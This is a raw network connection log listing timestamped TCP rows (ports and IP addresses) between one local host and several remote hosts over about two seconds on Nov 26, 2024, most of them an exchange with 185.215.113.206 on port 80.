Nov 26, 2024 01:41:16.480917931 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.481108904 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.481134892 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.481775045 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.481790066 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.482148886 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.482156038 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.482227087 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.482346058 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.580092907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:16.700011015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.015863895 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.015883923 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.015913963 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.015938044 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.015949011 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.015970945 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.015985966 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.016022921 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.022921085 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.022939920 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.022975922 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.023000002 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.023014069 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.023015976 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.023041010 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.023073912 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.031749010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.031801939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.031886101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.031927109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.033381939 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.033404112 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.034198046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.034255981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.034306049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.034344912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.038923025 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:17.038933039 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:17.042622089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.042671919 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.042746067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.042787075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.051054955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.051099062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.051156998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.051198006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.059539080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.059592009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.059619904 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.059659958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.067879915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.067931890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.067984104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.068020105 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.164269924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.164287090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.164329052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.164356947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.166717052 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.166766882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.166809082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.166851044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.175137043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.175188065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.175237894 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.175276995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.183587074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.183640957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.183706045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.183748960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.191961050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.192009926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.192049980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.192085028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.241019964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.241076946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.241116047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.241153002 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.245199919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.245243073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.245281935 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.245326996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.253618002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.253703117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.253778934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.253798008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.262031078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.262087107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.262126923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.262164116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.270441055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.270493031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.270528078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.270566940 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.278870106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.278939009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.278976917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.279016972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.287216902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.287264109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.287278891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.287329912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.294312954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.294373989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.294390917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.294435024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.299900055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.299947023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.300014973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.300054073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.308362007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.308412075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.308450937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.308491945 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.316741943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.316807032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.316839933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.316879988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.324470997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.324513912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.365442038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.365495920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.365561962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.365609884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.367547989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.367599964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.367628098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.367670059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.374583006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.374636889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.374672890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.374712944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.381664991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.381710052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.381738901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.381778955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.388673067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.388720989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.388752937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.388786077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.395711899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.395756960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.395804882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.395840883 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.397737026 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.398279905 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.398293972 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.398813009 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.398818970 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.402780056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.402827978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.402879000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.402920961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.409812927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.409858942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.409912109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.409953117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.416868925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.416915894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.416954041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.416994095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.423548937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.425231934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.442321062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.442384005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.442415953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.442522049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.444250107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.444293976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.444318056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.444351912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.448097944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.448148966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.448199987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.448246002 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.451873064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.451920986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.451953888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.451999903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.455694914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.455743074 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.455796957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.455842972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.459492922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.459539890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.459583044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.459621906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.463289976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.463335037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.463399887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.463444948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.467101097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.467153072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.467219114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.467261076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.470905066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.470949888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.471019983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.471055984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.491358042 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.491396904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.491466045 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.491503000 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.491511106 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.491556883 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.491996050 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.492027998 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.492084980 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.492403984 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.492413044 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.492458105 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.492871046 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.492880106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.492921114 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494467020 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494479895 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.494591951 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494606018 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.494621038 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494631052 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.494709969 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494721889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.494960070 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:17.494968891 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:17.495425940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.495467901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.495481968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.495515108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.496519089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.496578932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.496615887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.496802092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.500159979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.500278950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.500278950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.500334024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.503758907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.503806114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.503874063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.503921032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.507414103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.507463932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.507540941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.507586956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.511012077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.511068106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.511109114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.511151075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.514554977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.514611006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.514681101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.514720917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.518096924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.518146038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.518202066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.518246889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.521574020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.521622896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.542121887 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.542630911 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.542633057 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.542857885 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.542884111 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.543778896 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.543783903 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.544204950 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.544320107 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.544344902 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.545041084 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.545048952 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.545289040 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.545298100 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.545936108 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.545941114 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.546441078 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.546479940 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.547058105 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.547064066 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.566639900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.566704035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.566775084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.566814899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.568300962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.568341017 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.568432093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.568521023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.571652889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.571706057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.571762085 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.571796894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.574836016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.574882984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.574937105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.574976921 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.578149080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.578195095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.578239918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.578279018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.581499100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.581542969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.581597090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.581638098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.584827900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.584867954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.584918976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.584958076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.588030100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.588072062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.588126898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.588258982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.591094017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.591147900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.591200113 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.591238022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.594047070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.594094992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.594124079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.594170094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.596993923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.597048998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.597095966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.597136021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.599932909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.599989891 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.600030899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.600075006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.643573046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.643631935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.643728018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.643779993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.644593954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.644679070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.644689083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.644718885 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.646229982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.646276951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.646327972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.646373987 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.648329020 CET	80	49715	185.215.113.206	192.168.2.6
